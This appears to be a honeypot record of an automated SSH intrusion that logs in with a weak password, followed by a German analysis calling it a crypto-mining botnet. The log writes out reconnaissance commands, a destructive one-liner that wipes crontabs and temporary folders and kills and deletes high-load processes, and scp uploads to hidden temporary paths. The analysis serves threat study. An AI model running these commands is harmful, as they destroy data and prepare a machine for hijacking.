10.10.2026, 22:30 UTC · 77 Befehle · über ssh · Niederlande · 14× wiederholt
user='f-config--5' pass='Qwerty' f-config--5@srv01:~$ uname -m | awk '{printf $1}' x86_64 f-config--5@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 262 days, 04:12 f-config--5@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v3/4th Gen Core Integrated Graphics Controller (rev 06) f-config--5@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz f-config--5@srv01:~$ curl ipinfo.io/org AS14618 f-config--5@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found f-config--5@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found f-config--5@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 f-config--5@srv01:~$ uname -n | awk '{printf $1}' api-01 f-config--5@srv01:~$ uname -r | awk '{printf $1}' 5.4.0-150-generic f-config--5@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found f-config--5@srv01:~$ echo Qwerty > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/ekamMHuG" f-config--5@srv01:~$ scp -qt "/tmp/ekamMHuG" f-config--5@srv01:~$ scp -qt "/dev/shm/ekamMHuG" f-config--5@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 api-01 f-config--5@srv01:~$ echo raspberry > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/Lrvmcdeo" f-config--5@srv01:~$ scp -qt "/tmp/Lrvmcdeo" f-config--5@srv01:~$ scp -qt "/dev/shm/Lrvmcdeo" f-config--5@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 api-01 f-config--5@srv01:~$ echo admin > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/UMWrujqn" f-config--5@srv01:~$ scp -qt "/tmp/UMWrujqn" f-config--5@srv01:~$ scp -qt "/dev/shm/UMWrujqn" f-config--5@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 api-01 f-config--5@srv01:~$ echo bitrix > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/QvEePYpl" f-config--5@srv01:~$ scp -qt "/tmp/QvEePYpl" f-config--5@srv01:~$ scp -qt "/dev/shm/QvEePYpl" f-config--5@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 api-01 f-config--5@srv01:~$ echo 111111 > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/EvZllfLD" f-config--5@srv01:~$ scp -qt "/tmp/EvZllfLD" f-config--5@srv01:~$ scp -qt "/dev/shm/EvZllfLD" f-config--5@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 api-01 f-config--5@srv01:~$ echo 000000 > /tmp/d.log f-config--5@srv01:~$ scp -qt "/var/tmp/enqsCLgh" f-config--5@srv01:~$ scp -qt "/tmp/enqsCLgh"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um Hardware und Netzwerk zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU- oder RAM-Nutzung, um Ressourcen freizumachen. Danach versuchte er, mehrere Dateien in verschiedene temporäre Verzeichnisse zu kopieren, während er gleichzeitig neue Passwörter in eine Log-Datei schrieb.
Die Befehle uname, uptime und lscpu sammeln technische Daten wie Architektur, Laufzeit und CPU-Modell, um die Leistungsfähigkeit des Systems zu prüfen. Mit lspci und nvidia-smi wird explizit nach Grafikkarten gesucht, was typisch für Mining-Software ist. Der komplexe Befehl mit crontab -r und ps aux löscht alte Aufgaben, leert temporäre Ordner und tötet Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent RAM verbrauchen, um Platz für den Miner zu schaffen. Die scp-Befehle mit dem Flag -qt kopieren Dateien im Quiet-Modus in spezifische Pfade wie /var/tmp oder /dev/shm, was oft zur Tarnung von Malware genutzt wird. Das Schreiben von Passwörtern wie 'raspberry' oder 'admin' in /tmp/d.log dient vermutlich der Protokollierung oder dem Austausch von Zugangsdaten innerhalb eines Botnetzes.
Das Vorgehen deutet stark auf die Installation eines Kryptominers hin, da gezielt nach Grafikkarten (NVIDIA, Radeon) gefragt und rechenintensive Prozesse gekillt wurden. Das Kopieren von Dateien in versteckte Verzeichnisse dient der Persistenz, während das Überschreiben von Passwörtern auf eine spätere Übernahme oder Botnetz-Integration hindeutet. Die wiederholten scp-Befehle legen nahe, dass Payloads hochgeladen oder verteilt werden sollen.
Dieses Muster ist sehr verbreitet bei automatisierten Botnetzen, die auf Kryptomining spezialisiert sind. Die Kombination aus Ressourcenbereinigung und GPU-Abfrage ist ein klassisches Indiz für solche Angriffe.